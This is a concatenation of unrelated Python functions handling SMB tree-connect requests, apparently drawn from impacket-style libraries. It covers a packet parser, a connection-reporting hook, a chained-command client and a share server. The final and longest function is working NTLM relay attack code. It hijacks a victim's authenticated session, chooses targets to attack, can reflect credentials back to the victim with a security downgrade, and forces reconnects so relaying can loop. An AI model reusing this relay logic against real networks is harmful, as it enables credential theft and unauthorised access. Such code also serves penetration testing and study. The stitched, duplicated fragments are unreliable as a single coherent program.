def smbComTreeConnectAndX(packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return False print "SMB_COM_TREE_CONNECT_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) treeConnectAndXData = smb.SMBTreeConnectAndX_Data() treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) else: # Response treeConnectAndXParameters = smb.SMBTreeConnectAndXResponse_Parameters( SMBCommand['Parameters']) #treeConnectAndXData = smb.SMBTreeConnectAndXResponse_Data(SMBCommand['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True
def smbCommandHook_SMB_COM_TREE_CONNECT_ANDX(connId, smbServer, SMBCommand, recvPacket): treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) path = smbserver.decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) local_path = ntpath.basename(path) service = smbserver.decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Service']) report_tree_connect_attempt(connId, { "Path": path, "local_path": local_path, "Service": service }) return smbserver.SMBCommands.smbComTreeConnectAndX(smbserver.SMBCommands(), connId, smbServer, SMBCommand, recvPacket)
def do_lots(self, user, pwd_ansi, share, filename, domain=''): pkt = smb.NewSMBPacket() pkt['Flags1'] = 8 sessionSetup = smb.SMBCommand(self.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = smb.SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = self.get_session_key() sessionSetup['Parameters']['AnsiPwdLength'] = len(pwd_ansi) sessionSetup['Parameters']['UnicodePwdLength'] = len('') sessionSetup['Parameters']['Capabilities'] = self.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = pwd_ansi sessionSetup['Data']['UnicodePwd'] = '' sessionSetup['Data']['Account'] = str(user) sessionSetup['Data']['PrimaryDomain'] = str(domain) sessionSetup['Data']['NativeOS'] = str(os.name) sessionSetup['Data']['NativeLanMan'] = 'pysmb' # This is an example of how to use chained ANDX commands treeConnect = smb.SMBCommand(self.SMB_COM_TREE_CONNECT_ANDX) treeConnect['Parameters'] = smb.SMBTreeConnectAndX_Parameters() treeConnect['Data'] = smb.SMBTreeConnectAndX_Data() treeConnect['Parameters']['PasswordLength'] = 1 treeConnect['Data']['Password'] = '******' treeConnect['Data']['Path'] = share treeConnect['Data']['Service'] = smb.SERVICE_ANY openFile = smb.SMBCommand(self.SMB_COM_OPEN_ANDX) openFile['Parameters'] = smb.SMBOpenAndX_Parameters() openFile['Parameters']['DesiredAccess'] = smb.SMB_ACCESS_READ openFile['Parameters']['OpenMode'] = smb.SMB_O_OPEN openFile['Parameters']['SearchAttributes'] = 0 openFile['Data'] = smb.SMBOpenAndX_Data() openFile['Data']['FileName'] = filename readAndX = smb.SMBCommand(self.SMB_COM_READ_ANDX) readAndX['Parameters'] = smb.SMBReadAndX_Parameters() readAndX['Parameters']['Offset'] = 0 readAndX['Parameters']['Fid'] = 0 readAndX['Parameters']['MaxCount'] = 4000 pkt.addCommand(sessionSetup) pkt.addCommand(treeConnect) pkt.addCommand(openFile) pkt.addCommand(readAndX) # This is an example of how to make a loop with the chained commands # treeConnect['Parameters']['AndXCommand'] = self.SMB_COM_TREE_CONNECT_ANDX # treeConnect['Parameters']['AndXOffset'] = 72 self.sendSMB(pkt) pkt = self.recvSMB()
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp[ 'Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket[ 'Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters( ) treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) errorCode = STATUS_SUCCESS UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # We won't search for the share.. all of them exist :P smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) #share = searchShare(connId, path, smbServer) share = {} # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: tid = 1 else: tid = connData['ConnectedShares'].keys()[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['path'] = '/' connData['ConnectedShares'][tid]['shareName'] = path resp['Tid'] = tid #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS') respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) authenticateMessage = connData['AUTHENTICATE_MESSAGE'] self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: # # Connection already relayed, let's just answer the request (that will return object not found) # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) try: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) if self.authUser == '/': LOG.info( 'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % (connId, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) self.target = self.targetprocessor.getTarget( identity=self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later LOG.info( 'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % (connId, self.authUser, connData['ClientIP'])) return self.origsmbComTreeConnectAndX(connId, smbServer, recvPacket) LOG.info( 'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['relayToHost'] = True connData['Authenticated'] = False del (connData['NEGOTIATE_MESSAGE']) del (connData['CHALLENGE_MESSAGE']) del (connData['AUTHENTICATE_MESSAGE']) connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters( ) treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) ## Process here the request, does the share exist? UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # This is the key, force the client to reconnect. # It will loop until all targets are processed for this user errorCode = STATUS_NETWORK_SESSION_EXPIRED resp['ErrorCode'] = errorCode >> 16 resp['_reserved'] = 0o3 resp['ErrorClass'] = errorCode & 0xff if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS') respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode